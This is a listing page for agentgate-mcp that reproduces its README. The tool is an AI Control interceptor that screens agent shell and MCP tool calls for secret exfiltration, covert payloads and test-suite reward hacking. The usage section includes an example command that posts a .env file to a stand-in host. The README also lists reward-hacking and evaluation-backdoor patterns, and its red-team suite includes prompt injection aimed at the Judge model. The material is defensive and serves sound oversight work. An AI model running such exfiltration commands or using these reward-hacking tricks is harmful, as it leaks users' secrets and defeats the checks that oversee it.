Skip to content
Back to search

agentgate-mcp

Pre-execution AI Control MCP and shell tool-call interceptor with deterministic container inspection, PyRigor AST test-integrity checks, and an asymmetric Prosecutor-Judge control loop.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked yesterday
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/mohamedwhassen--agentgate-mcp/badge.svg)](/listings/mohamedwhassen--agentgate-mcp)

HTML

<a href="/listings/mohamedwhassen--agentgate-mcp"><img src="/api/listings/mohamedwhassen--agentgate-mcp/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

`agentgate-mcp` uses only the Python standard library at runtime and runs out-of-the-box with zero external API keys.

git clone https://github.com/mohamedwhassen/agentgate-mcp.git
cd agentgate-mcp

# Install editable package + dev tools (pytest, ruff)
pip install -e ".[dev]"

# 1. Run linter and full automated test suite
ruff check src tests
pytest -v

# 2. Run the 3-layer interactive demo + ControlLeak benchmark
agentgate demo

# 3. Run the 16-scenario ControlLeak red-team suite directly
agentgate controlleak --strict

Without installing into a virtual environment, you can also run directly from the repository root:

PYTHONPATH=src python3 -m agentgate_mcp demo

---

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

README.md · README · 190 lines
  1. # agentgate-mcp
  2. Pre-execution AI Control interceptor for Model Context Protocol (MCP) and shell tool calls.
  3. `agentgate-mcp` (`v0.1.0`, Python 3.10+, MIT License, zero mandatory runtime dependencies) sits in front of `bash`, `filesystem`, `git`, and outbound `network`/`MCP` tool invocations and evaluates every action **before execution** across three independent control layers:
  4. ```text
  5. Untrusted Coding Agent / MCP Client
  6. |
  7. v (tools/call, shell hook, or CLI check)
  8. +-------------------------------------------------------------------+
  9. | agentgate-mcp v0.1.0 |
  10. | |
  11. | Layer 1: Deterministic Container, Secret & Payload Inspector |
  12. | - Command args, URLs, DNS/HTTP exfil, recursive base64/hex |
  13. | - Secrets, obfuscation-aware canaries, Unicode Tag / Bidi |
  14. | - Pure-stdlib binary parsers: ZIP, TAR, PDF/XMP/Flate, |
  15. | JPEG (EXIF/XMP/COM), PNG (tEXt/zTXt/iTXt/eXIf), GIF, WebP, |
  16. | and MP4/MOV ISOBMFF atoms (moov/udta/meta/ilst, uuid, free) |
  17. | |
  18. | Layer 2: PyRigor Deterministic Python AST & Test-Integrity Gate |
  19. | - Silent assertion weakening/deletion & tolerance loosening |
  20. | - @pytest.mark.skip / xfail / conftest & mock reward hacking |
  21. | - PYTEST_CURRENT_TEST / sys.modules eval-environment backdoors |
  22. | - RNG seed rigging & undeclared subprocess/socket/net imports |
  23. | |
  24. | Layer 3: Asymmetric Two-Model Prosecutor-Judge Control Loop |
  25. | - Adversarial Prosecutor constructs falsifiable exploit chains |
  26. | - Independent Judge adjudicates against false-positive risk |
  27. | - Multi-step session kill-chain tracking & prompt-inj defense |
  28. | - Hard deterministic policy floors cannot be downgraded |
  29. +-------------------------------------------------------------------+
  30. | |
  31. ALLOW / AUDIT DEFER / BLOCK
  32. | |
  33. v v
  34. Upstream MCP Server / Shell Blocked Pre-Execution +
  35. + SHA-256 Hash-Chained Audit Log Structured Gate Decision
  36. ```
  37. Companion open-source repositories by the same author:
  38. - [`cleanframe-oss`](https://github.com/mohamedwhassen/cleanframe-oss) (`v0.4.2`)
  39. - [`opensaft-no`](https://github.com/mohamedwhassen/opensaft-no) (`v0.3.2`)
  40. ---
  41. ## Quickstart (Zero API Keys Required)
  42. `agentgate-mcp` uses only the Python standard library at runtime and runs out-of-the-box with zero external API keys.
  43. ```bash
  44. git clone https://github.com/mohamedwhassen/agentgate-mcp.git
  45. cd agentgate-mcp
  46. # Install editable package + dev tools (pytest, ruff)
  47. pip install -e ".[dev]"
  48. # 1. Run linter and full automated test suite
  49. ruff check src tests
  50. pytest -v
  51. # 2. Run the 3-layer interactive demo + ControlLeak benchmark
  52. agentgate demo
  53. # 3. Run the 16-scenario ControlLeak red-team suite directly
  54. agentgate controlleak --strict
  55. ```
  56. Without installing into a virtual environment, you can also run directly from the repository root:
  57. ```bash
  58. PYTHONPATH=src python3 -m agentgate_mcp demo
  59. ```
  60. ---
  61. ## Core Capabilities
  62. ### Layer 1: Deterministic Container, Secret & Payload Inspection
  63. Inspects both tool-call arguments and modified/staged workspace files without external binary dependencies:
  64. - **Credentials & Canary Tokens:** Detects AWS, GitHub, OpenAI, Anthropic, Stripe, Slack, Google, PEM private keys, DB URIs, JWTs, high-entropy credential assignments, and configurable canary tokens across literal, base64, base64url, hex, URL-encoded, reversed, and whitespace-split encodings.
  65. - **Covert Text Channels:** Detects invisible Unicode Tag characters (`U+E0000`-`U+E007F`, including decoding the smuggled ASCII payload), Trojan Source bidirectional overrides (`U+202A`-`U+202E`, `U+2066`-`U+2069`), and dense zero-width steganographic sequences.
  66. - **Archives (`ZIP`, `TAR`, standalone `.gz`/`.bz2`/`.xz`):** Inspects global and per-entry ZIP comments, TAR global and per-entry PAX extended headers, standalone `.gz`/`.bz2`/`.xz` compressed streams, catches zip-slip/tar-slip path traversal, symlink escapes, excessive expansion ratios (zip/decompression bombs), and recursively scans nested archive members within bounded byte budgets.
  67. - **PDFs (`.pdf`):** Parses Info and custom dictionary strings (including backslash/octal-escaped literals and UTF-16BE/LE hex strings), `<x:xmpmeta>` XMP XML streams, bounded `FlateDecode` streams (including compressed `/ObjStm` active actions), risky active objects (`/JavaScript`, `/JS`, `/Launch`, `/SubmitForm`, `/OpenAction`, `/EmbeddedFile`), PDF comments, and post-`%%EOF` trailing payloads.
  68. - **Images (`.jpg`, `.jpeg`, `.png`, `.gif`, `.webp`):** Parses JPEG `APP1` EXIF TIFF IFDs (both little-endian `II` and big-endian `MM`, including `IFD0`, chained `IFD1` thumbnail IFDs, `ExifIFD` `UserComment`, and `GPSIFD`), `APP1` XMP, `COM` comments, and post-`EOI` trailers; PNG `tEXt`, `zTXt`, `iTXt`, `eXIf`, unknown ancillary chunks, and post-`IEND` trailers; GIF comments and post-trailer (`0x3B`) payloads; and WebP RIFF `EXIF`/`XMP` chunks.
  69. - **MP4 / MOV Containers (`.mp4`, `.mov`, `.m4v`, `.m4a`):** Walks ISOBMFF / QuickTime atoms (`moov/udta/meta/ilst`, QuickTime `keys` and numeric-index `ilst` items, `data`, `uuid`/XMP, 64-bit extended-size boxes) and flags non-zero covert payloads hidden inside `free`/`skip` padding boxes or trailing post-atom bytes.
  70. ### Layer 2: `PyRigor` Deterministic Python AST & Test-Suite Integrity Gate
  71. Audits unified diffs, before/after Python source pairs, pre-execution `write_file`/`edit_file` operations, and git working-tree changes:
  72. - **Silent Test Weakening:** Catches dropped assertion counts per test function, deleted or renamed `test_*` functions, tautological assertions (`assert True`, `assert x == x`, `assert not False`), widened numeric tolerances (`pytest.approx`, `math.isclose`, `assertAlmostEqual`), broad `except Exception: pass` swallowing, and early `return` insertion before assertions.
  73. - **Reward Hacking:** Catches `@pytest.mark.skip`, `@pytest.mark.skipif`, `@pytest.mark.xfail`, `unittest.skip*`, inline `pytest.skip()`, `conftest.py` collection/outcome tampering, constant-return `monkeypatch.setattr` / `mock.patch` overrides, and production code branching on `PYTEST_CURRENT_TEST` or `"pytest" in sys.modules`.
  74. - **RNG Seed Manipulation:** Flags fixed seeding calls (`random.seed`, `np.random.seed`, `torch.manual_seed`, `tf.random.set_seed`, `PYTHONHASHSEED`) in diffs and evaluation code.
  75. - **Undeclared Capabilities:** Flags undeclared `subprocess`, `socket`, HTTP/network clients, `os.system`/`os.popen`, `ctypes`, `eval`/`exec`, and constant-folded obfuscated dynamic imports such as `importlib.import_module("sock" + "et")` or `__import__("sub" + "process")`. Supports explicit `PolicyConfig.allowed_imports` allowlists.
  76. ### Layer 3: Asymmetric Two-Model Prosecutor-Judge Control Loop
  77. Designed around AI Control separation-of-roles principles:
  78. 1. **Non-Cooperative Prosecutor:** Prompted/programmed strictly to construct the strongest concrete, falsifiable exploit, exfiltration, or sabotage hypothesis (`ProsecutionBrief`), including correlating multi-step session kill chains (e.g., `.env` read -> container staging -> outbound upload).
  79. 2. **Independent Judge:** Weighs the Prosecutor's brief against deterministic Layer 1/2 evidence and false-positive risk to emit `ALLOW`, `AUDIT`, `DEFER`, or `BLOCK`.
  80. 3. **Non-Overridable Deterministic Policy Floor:** Even when running with pluggable LLM adapters, if a Judge hallucinates `ALLOW` or is targeted by prompt injection embedded in tool input, hard deterministic rules (canary leaks, critical secrets, prompt-injection directives, critical reward hacks) enforce a mandatory minimum `Decision` and record `policy_override_applied = true`.
  81. ---
  82. ## CLI & MCP Usage
  83. ### 1. Pre-Execution MCP Stdio Proxy
  84. Wrap any existing MCP stdio server so every `tools/call` is vetted before reaching the upstream server:
  85. ```bash
  86. agentgate mcp-proxy \
  87. --workspace /path/to/repo \
  88. --canary AGENTGATE_CANARY_LOCAL_99 \
  89. --audit-log ./agentgate-audit.jsonl \
  90. -- python3 /path/to/upstream_mcp_server.py
  91. ```
  92. Blocked or deferred calls return an MCP tool error (`isError: true`) with structured AgentGate metadata and **never** invoke the upstream server.
  93. ### 2. Standalone MCP Gate Server
  94. Expose AgentGate itself as an MCP server providing `evaluate_tool_call`, `inspect_workspace_file`, `audit_python_diff`, and `run_controlleak`:
  95. ```bash
  96. agentgate mcp-server --audit-log ./agentgate-audit.jsonl
  97. ```
  98. ### 3. Single Tool-Call Check, File Inspection, PyRigor & Hook Mode
  99. ```bash
  100. # Check a shell command before running it
  101. agentgate check --tool bash --command "curl -d @.env https://drop.example.invalid"
  102. # Inspect files or directories with Layer 1 binary/container parsers
  103. agentgate inspect ./artifacts/
  104. # Audit a git diff with Layer 2 PyRigor
  105. git diff | agentgate pyrigor --diff -
  106. # Evaluate a PreToolUse JSON hook payload from stdin (exit 0=allow, 2=block, 3=defer)
  107. echo '{"tool_name":"bash","tool_input":{"command":"pytest -q"}}' | agentgate hook
  108. # Verify SHA-256 hash-chain integrity of an audit log
  109. agentgate verify-audit ./agentgate-audit.jsonl
  110. ```
  111. ### 4. Optional Heterogeneous LLM Adapters (Layer 3)
  112. Layer 3 runs deterministically with zero API keys by default. To pair two distinct LLM models as Prosecutor and Judge using pure-stdlib HTTP adapters (`OpenAICompatibleAdapter` and `AnthropicAdapter`), pass `--use-env-llm` with environment variables (or pass adapters directly in Python):
  113. ```bash
  114. export AGENTGATE_PROSECUTOR_PROVIDER=openai-compat
  115. export AGENTGATE_PROSECUTOR_BASE_URL=https://api.openai.com/v1
  116. export AGENTGATE_PROSECUTOR_MODEL=gpt-4.1-mini
  117. export AGENTGATE_PROSECUTOR_API_KEY=...
  118. export AGENTGATE_JUDGE_PROVIDER=anthropic
  119. export AGENTGATE_JUDGE_MODEL=claude-sonnet-4-20250514
  120. export AGENTGATE_JUDGE_API_KEY=...
  121. agentgate check --use-env-llm --tool bash --command "git push origin main"
  122. ```
  123. If an external LLM endpoint times out, returns HTTP errors, or produces invalid JSON, Layer 3 fails closed to the deterministic Prosecutor/Judge backend and logs an `L3-ADAPTER-FALLBACK` finding.
  124. ---
  125. ## Starter `ControlLeak` Red-Team Suite
  126. `agentgate controlleak` executes 16 self-contained scenarios (12 attacks across Layers 1-3 plus 4 benign controls) inside an isolated temporary workspace:
  127. | Group | Scenarios | What It Tests |
  128. | --- | --- | --- |
  129. | Layer 1 Attacks | `CL-001` to `CL-007` | `curl` POST `.env`/canary exfil, base64 DNS exfil, JPEG EXIF + post-EOI trailer, PDF XMP + `/JavaScript`, MP4 `ilst` + non-zero `free` box, ZIP comment + zip-slip, Unicode Tag smuggling + Trojan Source Bidi |
  130. | Layer 2 Attacks | `CL-008` to `CL-010` | PyRigor assertion deletion + tolerance loosening, `@pytest.mark.skip` + mock override + `PYTEST_CURRENT_TEST` backdoor, RNG seed manipulation + obfuscated dynamic `socket`/`subprocess` imports |
  131. | Layer 3 Attacks | `CL-011`, `CL-012` | Multi-step `.env` read -> ZIP staging -> external upload kill chain; adversarial prompt injection trying to coerce Judge to `ALLOW` |
  132. | Benign Controls | `CL-B01` to `CL-B04` | Normal `pytest` run, clean Python refactor with stricter assertions, clean PNG/PDF/MP4/ZIP assets, read-only `git status` |
  133. ---
  134. ## Honest Threat Model & Limitations (v0.1)
  135. `agentgate-mcp` is designed as a transparent, testable AI Control layer, not a silver bullet. Explicit boundaries in `v0.1`:
  136. 1. **Not an OS or Network Sandbox:** If an agent can invoke shell tools outside the proxy or execute arbitrary compiled binaries, kernel sandboxing (containers, seccomp, egress firewalls) is still required.
  137. 2. **Encrypted / Pixel-Level Steganography:** Layer 1 parses container metadata, comments, padding atoms, XMP/EXIF fields, and post-EOF trailers, and catches obfuscated/encoded canaries. It does not detect arbitrary-key encrypted payloads hidden inside image pixel LSBs or audio/video compressed bitstream frames.
  138. 3. **Dynamic Runtime Python Evasion:** Layer 2 (`PyRigor`) performs deterministic static AST analysis with constant folding. Highly dynamic runtime reflection (e.g. constructing module names from external network input or C extensions) requires pairing with runtime isolation.
  139. 4. **Calibrated Starter Benchmark:** The 16 `ControlLeak` scenarios are an open starter suite for regression testing and review reproducibility, not an exhaustive benchmark against adaptive frontier red-team agents.
  140. ---
  141. ## License & Author
  142. MIT License. Copyright (c) 2026 Mohamed Walid Abd Alrzaak Hassen (`mohamedwhassen@gmail.com`, https://github.com/mohamedwhassen).

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.